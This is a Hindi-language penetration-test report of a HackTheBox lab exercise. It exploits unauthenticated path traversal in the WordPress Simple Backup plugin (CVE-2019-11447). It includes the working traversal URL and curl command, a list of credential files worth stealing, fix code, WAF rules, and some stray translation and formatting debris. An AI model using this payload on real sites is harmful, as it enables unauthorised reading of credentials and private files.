
विस्तृत पेनेट्रेशन टेस्ट रिपोर्ट जो WordPress Simple Backup प्लगइन में बिना प्रमाणीकरण के पाथ ट्रैवर्सल (CVE-2019-11447) का प्रदर्शन करती है, जिसमें शोषण के चरण, प्रभाव विश्लेषण और सुधार मार्गदर्शन शामिल हैं।
| आइटम | विवरण |
|---|
| दस्तावेज़ शीर्षक | पेनिट्रेशन टेस्ट रिपोर्ट - WordPress पाथ ट्रैवर्सल |
| ग्राहक/परीक्षा | HackTheBox लैब - CPTS अभ्यास 1 |
| दिनांक | 22 अगस्त 2026 |
| मूल्यांकनकर्ता | Cyberia (पेनिट्रेशन टेस्टर) |
| मूल्यांकन प्रकार | ग्रे बॉक्स (बाहरी, बिना क्रेडेंशियल) |
| लैब वातावरण | 154.57.164.73:30706 |
| लैब अवधि | 1 घंटा |
| उद्देश्य | प्रतिबंधित फाइलों को प्राप्त करने के लिए कमजोरियों की पहचान करना और उनका शोषण करना |
| प्राप्त फ्लैग | HTB{my_f1r57_h4ck} |
होस्ट किए गए वेब एप्लिकेशन 154.57.164.73:30706 के इस पेनिट्रेशन मूल्यांकन के दौरान, एक गंभीर कमजोरी की पहचान की गई जो बिना प्रमाणीकरण के हमलावरों को सर्वर फाइलसिस्टम से मनमानी फाइलें डाउनलोड करने और पढ़ने की अनुमति देती है।
कमजोर WordPress इंस्टॉलेशन में एक पुराना प्लगइन (Simple Backup v2.7.10) है जिसमें पाथ ट्रैवर्सल कमजोरी (CVE-2019-11447) है, जो प्रमाणीकरण या प्राधिकरण की आवश्यकता के बिना अनधिकृत फ़ाइल एक्सेस की अनुमति देती है।
इस कमजोरी का सफलतापूर्वक शोषण करके सर्वर रूट से /flag.txt फ़ाइल प्राप्त की गई, जो गोपनीयता के पूर्ण समझौते की पुष्टि करता है। इस एक्सेस वाला हमलावर निम्न कार्य कर सकता है:
wp-config.php, .env)इस कमजोरी को तुरंत दूर करने के लिए गंभीर कार्रवाई आवश्यक है, क्योंकि यह डेटा सुरक्षा, गोपनीयता अनुपालन (GDPR, HIPAA, PCI-DSS) और सिस्टम अखंडता के लिए अत्यधिक जोखिम पैदा करती है।
| गंभीरता | संख्या | व्यावसायिक प्रभाव |
|---|---|---|
| 🔴 गंभीर | 1 | गोपनीयता का पूर्ण उल्लंघन; अनधिकृत फ़ाइल एक्सेस |
| 🟠 उच्च | 0 | — |
| 🟡 मध्यम | 0 | — |
| 🟢 निम्न | 0 | — |
| ℹ️ सूचनात्मक | 1 | पुराने सॉफ़्टवेयर संस्करण का पता चला |
मूल्यांकन प्रकार: ग्रे बॉक्स (बाहरी हमलावर, बिना क्रेडेंशियल, नेटवर्क एक्सेस उपलब्ध)
मूल्यांकन तिथियाँ: 22 अगस्त 2026
परीक्षण दृष्टिकोण: गैर-चोरी, व्यवस्थित मूल्यांकन जो उद्योग-मानक पेनिट्रेशन टेस्टिंग ढाँचे (PTES) का पालन करता है:
CVE-2019-11447 | CWE-22: प्रतिबंधित निर्देशिका के लिए पाथनाम का अनुचित प्रतिबंध
WordPress प्लगइन Simple Backup (संस्करण 2.7.10/2.7.11, Exploit-DB 39883) के एडमिन "बैकअप मैनेजर" पृष्ठ में एक पाथ ट्रैवर्सल कमजोरी है। प्लगइन download_backup_file GET पैरामीटर के माध्यम से आपूर्ति किए गए फ़ाइल पथ को साफ करने में विफल रहता है, जिससे एक हमलावर सापेक्ष पथ अनुक्रमों (../) का उपयोग करके इच्छित simple-backup/ निर्देशिका के बाहर जा सकता है और वेब सर्वर प्रक्रिया द्वारा पठनीय किसी भी फ़ाइल को डाउनलोड कर सकता है — जिसमें फाइलसिस्टम रूट पर मौजूद फ़ाइलें भी शामिल हैं।
कमजोर एंडपॉइंट:``` GET /wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
`page=backup_manager` अनुरोध को प्लगइन के एडमिन पेज हैंडलर में भेजता है; `download_backup_file` वह पैरामीटर है जिसे प्लगइन का कोड सीधे पढ़ता है और बिना सत्यापन के फाइलसिस्टम पथ में जोड़ देता है, जिससे निर्देशिका ट्रैवर्सल संभव होता है।
---
### CVSS v3.1 स्कोर
**7.5 - उच्च** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
- **आक्रमण वेक्टर (AV):** नेटवर्क
- **आक्रमण जटिलता (AC):** निम्न
- **आवश्यक विशेषाधिकार (PR):** कोई नहीं
- **उपयोगकर्ता इंटरैक्शन (UI):** कोई नहीं
- **दायरा (S):** अपरिवर्तित
- **गोपनीयता (C):** उच्च
- **अखंडता (I):** कोई नहीं
- **उपलब्धता (A):** कोई नहीं
---
### व्यावसायिक प्रभाव
**गोपनीयता उल्लंघन:** ⚠️ गंभीर
हमलावर वेब सर्वर के लिए सुलभ किसी भी फ़ाइल को पढ़ सकते हैं, जिनमें शामिल हैं:
| फ़ाइल | प्रभाव | जोखिम स्तर |
|------|--------|------------|
| `/wp-config.php` | डेटाबेस क्रेडेंशियल, सॉल्ट, कुंजियाँ | 🔴 गंभीर |
| `/.env` | API कुंजियाँ, गोपनीय जानकारी, कॉन्फ़िगरेशन | 🔴 गंभीर |
| `/etc/passwd` | उपयोगकर्ता गणना, सिस्टम मैपिंग | 🟠 उच्च |
| SSH कुंजियाँ (`.ssh/id_rsa`) | लैटरल मूवमेंट, सिस्टम एक्सेस | 🔴 गंभीर |
| `/proc/self/environ` | चल रहे एप्लिकेशन की गोपनीय जानकारी | 🟠 उच्च |
| उपयोगकर्ता अपलोड निर्देशिका | निजी फ़ाइलें, मीडिया | 🟠 उच्च |
**नियामक प्रभाव:**
- **GDPR उल्लंघन:** उपयोगकर्ता डेटा तक अनधिकृत पहुँच
- **HIPAA उल्लंघन:** संरक्षित स्वास्थ्य जानकारी का खुलासा
- **PCI-DSS उल्लंघन:** क्रेडिट कार्ड डेटा या भुगतान जानकारी तक पहुँच
- **SOC 2 उल्लंघन:** गोपनीयता आवश्यकता का उल्लंघन
---
### कमजोर कोड पैटर्न
Exploit-DB एडवाइज़री (39883.txt, `searchsploit -x` के माध्यम से पढ़ें — [ht4-poc.png](https://github.com/capivara-research/wordpress-path-traversal-cve-2019-11447/blob/HEAD/images/ht4-poc.png) देखें) प्लगइन के **delete** प्रिमिटिव का दस्तावेज़ीकरण करती है, जो `simple-backup-manager.php` से है:```php
if(array_key_exists('delete_backup_file', $_GET)){
$this->delete_local_backup_file($_GET['delete_backup_file']);
}
[No input text provided. Please paste the Markdown content you wish to have translated.]```php $bk_dir = ABSPATH."simple-backup/"; unlink($bk_dir . $filename);
`$filename` सीधे `$_GET['delete_backup_file']` से आता है, जिसमें न तो `basename()` और न ही पथ-परिबद्धता (path-containment) जाँच होती है। `../pizza.txt` पास करने पर `$bk_dir . $filename` का मान `.../simple-backup/../pizza.txt` → `.../pizza.txt` हो जाता है, जो इच्छित बैकअप फ़ोल्डर से बाहर निकल जाता है।
इस अभियान में वास्तव में शोषित **download** प्रिमिटिव (`download_backup_file`) उसी प्लगइन में बिल्कुल वही अनसैनिटाइज़्ड संयोजन (concatenation) पैटर्न अपनाता है, लेकिन फ़ाइल को हटाने के बजाय अनुरोधकर्ता को वापस परोसता है — इसी कारण फ़ाइलसिस्टम रूट से `/flag.txt` प्राप्त किया जा सका (`ABSPATH/simple-backup/` से 10× `../`)।
**समस्या:**
- डायरेक्टरी घटकों को हटाने के लिए `basename()` का उपयोग नहीं किया गया है
- अनुमत फ़ाइलों की कोई व्हाइटलिस्ट नहीं है
- कोई सत्यापन नहीं कि `realpath()` `ABSPATH."simple-backup/"` के भीतर ही रहता है
- उपयोगकर्ता इनपुट का फ़ाइल पथ में सीधे संयोजन
- फ़ाइल परोसने से पहले `current_user_can()` / प्रमाणीकरण जाँच नहीं — हैंडलर प्लगइन लोड होने पर चलता है, WordPress के अपने `wp-admin` प्रमाणीकरण गेट से पहले, इसलिए यह **बिना लॉग इन किए** भी पहुँच योग्य है
---
### प्रूफ ऑफ कॉन्सेप्ट
#### **चरण 1: प्रारंभिक पहुँच — एप्लिकेशन पहचान**
ब्राउज़र के माध्यम से सीधे लक्ष्य से कनेक्ट किया गया (`http://154.57.164.73:30706/`)। WordPress इंस्टॉलेशन का शीर्षक **"GETTING STARTED"** है, और होमपेज पर एक सार्वजनिक ब्लॉग पोस्ट में प्लगइन का सटीक नाम और संस्करण सादे पाठ में बताया गया है: **"Simple Backup Plugin 2.7.10 for WordPress"** — कमजोर घटक की पहचान (fingerprint) करने के लिए किसी एन्यूमरेशन टूल की भी आवश्यकता नहीं थी।

#### **चरण 2: सेवा फ़िंगरप्रिंटिंग**```bash
whatweb http://154.57.164.73:30706/
परिणाम: Apache/2.4.41 (Ubuntu Linux), WordPress 5.6.1 की पुष्टि MetaGenerator और WordPress प्लगइन हस्ताक्षरों के माध्यम से हुई।

searchsploit simple backup wordpress
**परिणाम:**```
Exploit Title | Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

सटीक भेद्य पैरामीटर और कोड पथ को समझने के लिए पूरी एडवाइजरी पढ़ना:```bash searchsploit -x php/webapps/39883.txt
एडवाइजरी `delete_backup_file` पैरामीटर के माध्यम से बिना प्रमाणीकरण के **Arbitrary File Deletion** का दस्तावेज़ीकरण करती है, और नोट करती है कि `simple-backup/` के अंतर्गत बैकअप फ़ाइलें (और, उसी बिना सैनिटाइज़ किए गए कोड पथ के माध्यम से, `download_backup_file` के ज़रिए मनमानी फ़ाइलें) बिना प्रमाणीकरण के प्राप्त की जा सकती हैं।

#### **चरण 4: शोषण — `download_backup_file` के माध्यम से पाथ ट्रैवर्सल**
प्लगइन के एडमिन पेज रूटिंग से पहचाना गया संवेदनशील एंडपॉइंट:```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=
शोषण पेलोड (ABSPATH/simple-backup/ से फ़ाइलसिस्टम रूट तक वापस जाने के लिए 10× ../):```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
**GUI (इस मूल्यांकन में प्रयुक्त):** payload URL को ब्राउज़र एड्रेस बार में सीधे नेविगेट किया गया था। किसी लॉगिन की आवश्यकता नहीं थी — ब्राउज़र ने रिज़ॉल्व किए गए `flag.txt` की स्वचालित फ़ाइल डाउनलोड ट्रिगर की।

**हेडलेस समतुल्य:**```bash
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt
प्राप्त फ्लैग: HTB{my_f1r57_h4ck}
यह भेद्यता निम्न कारणों से सफल होती है:
$_GET['download_backup_file'] को किसी व्हाइटलिस्ट के विरुद्ध जाँचा नहीं जाताrealpath() का उपयोग यह सत्यापित करने के लिए नहीं किया जाता कि फ़ाइल simple-backup/ के अंदर ही रहे../) फ़िल्टर नहीं किए जातेABSPATH."simple-backup/" से जोड़ दिया जाता हैwp-admin प्रमाणीकरण द्वार से पहले — लॉग आउट होने पर भी पहुँच योग्यcurrent_user_can() जाँच यह पुष्टि नहीं करती कि अनुरोधकर्ता को अनुरोधित फ़ाइल तक पहुँचना चाहिएहमला प्रवाह:``` User Input: ../../../../../../../../../../flag.txt ↓ No Validation (FAILURE POINT) ↓ Concatenated: ABSPATH/simple-backup/../../../../../../../../../../flag.txt ↓ Resolves to: /flag.txt (accessible!) ↓ Plugin serves file contents with web server permissions ↓ Browser downloads flag.txt to attacker's machine
---
### प्रभाव सत्यापन
✅ **गोपनीयता से समझौता:** वेब सर्वर प्रक्रिया द्वारा पठनीय कोई भी फ़ाइल सुलभ है
✅ **कोई प्रमाणीकरण आवश्यक नहीं:** बिना प्रमाणीकरण वाले उपयोगकर्ता शोषण कर सकते हैं
✅ **कोई उपयोगकर्ता इंटरैक्शन आवश्यक नहीं:** सीधे HTTP अनुरोध से शोषण
✅ **दोहराने योग्य और विश्वसनीय:** सभी कमजोर संस्करणों पर कार्य करता है
✅ **महत्वपूर्ण व्यावसायिक डेटा जोखिम में:** कॉन्फ़िगरेशन फ़ाइलें, क्रेडेंशियल्स, उपयोगकर्ता डेटा उजागर
---
## निवारण
### **विकल्प 1: इनपुट व्हाइटलिस्ट (अनुशंसित)**
केवल फ़ाइलों की पूर्व-परिभाषित सूची से डाउनलोड की अनुमति दें:```php
<?php
// Define allowed backup files
$allowed_files = array(
'backup_2024_01_15.zip',
'backup_2024_01_16.zip',
'backup_2024_01_17.zip',
);
$requested_file = $_GET['download_backup_file'];
// Validate against whitelist
if (!in_array($requested_file, $allowed_files)) {
die("File not found or access denied");
}
// Use basename() as double protection
$file = basename($requested_file);
$filepath = ABSPATH . "simple-backup/" . $file;
// Verify file exists and is readable
if (!file_exists($filepath) || !is_readable($filepath)) {
die("File not found");
}
readfile($filepath);
?>
लाभ:
पथ को कैननिकलाइज़ करने और कंटेनमेंट सत्यापित करने के लिए realpath() का उपयोग करें:```php
**लाभ:**
- सिमलिंक और जटिल पथों को संभालता है
- कंटेनमेंट की स्वचालित रूप से पुष्टि करता है
- व्हाइटलिस्ट की तुलना में अधिक लचीला
---
### **विकल्प 3: केवल फ़ाइलनाम के लिए basename() का उपयोग करें**
केवल फ़ाइलनाम घटक निकालें:```php
<?php
$user_input = $_GET['download_backup_file'];
// Remove all directory components
$file = basename($user_input);
// Build safe path
$filepath = ABSPATH . "simple-backup/" . $file;
// Verify file exists
if (!file_exists($filepath)) {
die("File not found");
}
readfile($filepath);
?>
लाभ:
नोट: यह दृष्टिकोण केवल तभी काम करता है जब सभी वैध फ़ाइलें बिना किसी उपनिर्देशिका के एक ही निर्देशिका में स्थित हों।
वेब एप्लिकेशन फ़ायरवॉल (WAF) नियम:```
ModSecurity Rule: SecRule ARGS:download_backup_file "@rx ../" "id:1000,phase:2,block,msg:'Path Traversal Attempt'" SecRule ARGS:download_backup_file "@rx %2e%2e%2f" "id:1001,phase:2,block,msg:'Encoded Path Traversal'"
**फ़ाइल सिस्टम अनुमतियाँ:**```bash
# Restrict web server access to necessary directories only
chmod 750 /var/www/html/wp-content/plugins/
chmod 750 /var/www/html/wp-content/simple-backup/
# Remove sensitive files from web root
rm -f /var/www/html/.env
mv /var/www/html/wp-config.php /var/www/wp-config.php
# Use chroot/jailing for web server
# Set PHP open_basedir to restrict file access
php_admin_value[open_basedir] = /var/www/html/uploads
अभिगम लॉगिंग और निगरानी:```bash
tail -f /var/log/apache2/access.log | grep ".." tail -f /var/log/apache2/access.log | grep "%2e%2e"
**अपडेट प्रबंधन:**
1. सिंपल बैकअप प्लगइन को अक्षम करें या हटाएँ
2. सुरक्षा ऑडिट के साथ स्वीकृत बैकअप समाधान स्थापित करें
3. वर्डप्रेस को नवीनतम संस्करण में अपडेट करें
4. सभी प्लगइन्स को नवीनतम संस्करणों में अपडेट करें
5. PHP को सुरक्षा पैच के साथ 8.0+ में अपडेट करें
---
## आक्रमण श्रृंखला```
┌─────────────────────────────────────────────────────────────┐
│ 1. INITIAL ACCESS │
│ └─ Browse to 154.57.164.73:30706 │
│ └─ WordPress "GETTING STARTED" site identified │
│ └─ Homepage blog post discloses: Simple Backup Plugin 2.7.10│
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 2. ENUMERATION │
│ └─ whatweb confirms Apache 2.4.41, WordPress 5.6.1 │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 3. VULNERABILITY RESEARCH │
│ └─ searchsploit → 39883.txt (Simple Backup 2.7.11 vulns) │
│ └─ searchsploit -x → read PoC, identify unsanitized │
│ delete_backup_file / download_backup_file parameters │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 4. EXPLOITATION │
│ └─ Endpoint: /wp-admin/tools.php?page=backup_manager │
│ └─ Payload: download_backup_file=../..(x10)../flag.txt │
│ └─ Browser navigates to payload URL (no login required) │
│ └─ Plugin resolves path to /flag.txt and serves it │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 5. SUCCESS │
│ └─ Flag Retrieved: HTB{my_f1r57_h4ck} │
│ └─ Confidentiality Breached │
│ └─ Unauthenticated arbitrary file read confirmed │
└─────────────────────────────────────────────────────────────┘
वर्डप्रेस Simple Backup प्लगिन में एक गंभीर पाथ ट्रैवर्सल भेद्यता मौजूद है जो बिना प्रमाणीकरण वाले हमलावरों को सर्वर से मनमानी फ़ाइलें डाउनलोड और पढ़ने की अनुमति देती है। इस भेद्यता का उपयोग वेब रूट से संवेदनशील फ़ाइलें प्राप्त करने के लिए सफलतापूर्वक शोषण किया गया।
जोखिम स्तर: 🔴 गंभीर
| प्राथमिकता | कार्रवाई | समय-सीमा | स्वामी |
|---|---|---|---|
| 🔴 P0 | Simple Backup प्लगिन अक्षम करें/हटाएँ | तुरंत | सुरक्षा/संचालन |
| 🔴 P0 | व्हाइटलिस्ट-आधारित फ़ाइल सत्यापन लागू करें | इस सप्ताह | विकास |
| 🟠 P1 | पाथ ट्रैवर्सल रोकने के लिए WAF नियम तैनात करें | इस सप्ताह | संचालन |
| 🟠 P1 | अनधिकृत पहुँच लॉग के लिए सर्वर ऑडिट करें | इस सप्ताह | सुरक्षा |
| 🟠 P1 | सभी उजागर क्रेडेंशियल घुमाएँ (DB, SSH, API) | इस सप्ताह | संचालन |
| 🟡 P2 | वर्डप्रेस कोर और सभी प्लगिन अपडेट करें | इस सप्ताह | संचालन |
| 🟡 P2 | फ़ाइल अखंडता निगरानी लागू करें | अगला स्प्रिंट | सुरक्षा |
| 🟡 P2 | अन्य प्लगिन का पूर्ण सुरक्षा ऑडिट करें | अगला स्प्रिंट | सुरक्षा |
निष्कर्ष: वर्डप्रेस साइट "GETTING STARTED" एक ब्लॉग पोस्ट में स्थापित प्लगिन और संस्करण को सार्वजनिक रूप से प्रकट करती है — "Simple Backup Plugin 2.7.10 for WordPress"
निष्कर्ष: Apache/2.4.41 (Ubuntu Linux), WordPress 5.6.1 की पुष्टि हुई
निष्कर्ष: "WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities" (php/webapps/39883.txt)
निष्कर्ष: सलाहकार दस्तावेज़ delete_backup_file के माध्यम से बिना प्रमाणीकरण के मनमानी फ़ाइल विलोपन का दस्तावेजीकरण करता है; वही अनसैनिटाइज़्ड कोड पथ download_backup_file पर लागू होता है
निष्कर्ष: tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt पर नेविगेट करने से flag.txt का बिना प्रमाणीकरण डाउनलोड ट्रिगर होता है: HTB{my_f1r57_h4ck}
CVE-2019-11447 — Simple Backup पाथ ट्रैवर्सल
CWE-22 — प्रतिबंधित निर्देशिका में पथनाम की अनुचित सीमा ('पाथ ट्रैवर्सल')
CVSS v3.1 स्कोर: 7.5 (उच्च)
OWASP Top 10 - A01:2021 टूटा एक्सेस नियंत्रण
OWASP पाथ ट्रैवर्सल
PortSwigger वेब सुरक्षा अकादमी - पाथ ट्रैवर्सल
SearchSploit — एक्सप्लॉइट डेटाबेस खोज
NMAP — नेटवर्क मैपर
WhatWeb — वेब फ़िंगरप्रिंटिंग उपकरण
यह रिपोर्ट उचित प्राधिकरण के साथ और परिभाषित दायरे में किए गए पेनेट्रेशन परीक्षण का दस्तावेजीकरण करती है।
| मद | मान |
|---|---|
| रिपोर्ट स्थिति | ✅ पूर्ण |
| निष्कर्ष सत्यापित | ✅ हाँ |
| सिफारिशें कार्रवाई योग्य | ✅ हाँ |
| गोपनीयता | 🔒 उच्च |
| वितरण | केवल अधिकृत कर्मियों तक सीमित |
मूल्यांकनकर्ता: Capivara Root (पेनेट्रेशन परीक्षक)
दिनांक: 11 अगस्त, 2026
हस्ताक्षर: डिजिटल रिपोर्ट - कोई भौतिक हस्ताक्षर आवश्यक नहीं
© 2026 पेनेट्रेशन परीक्षण मूल्यांकन | गोपनीय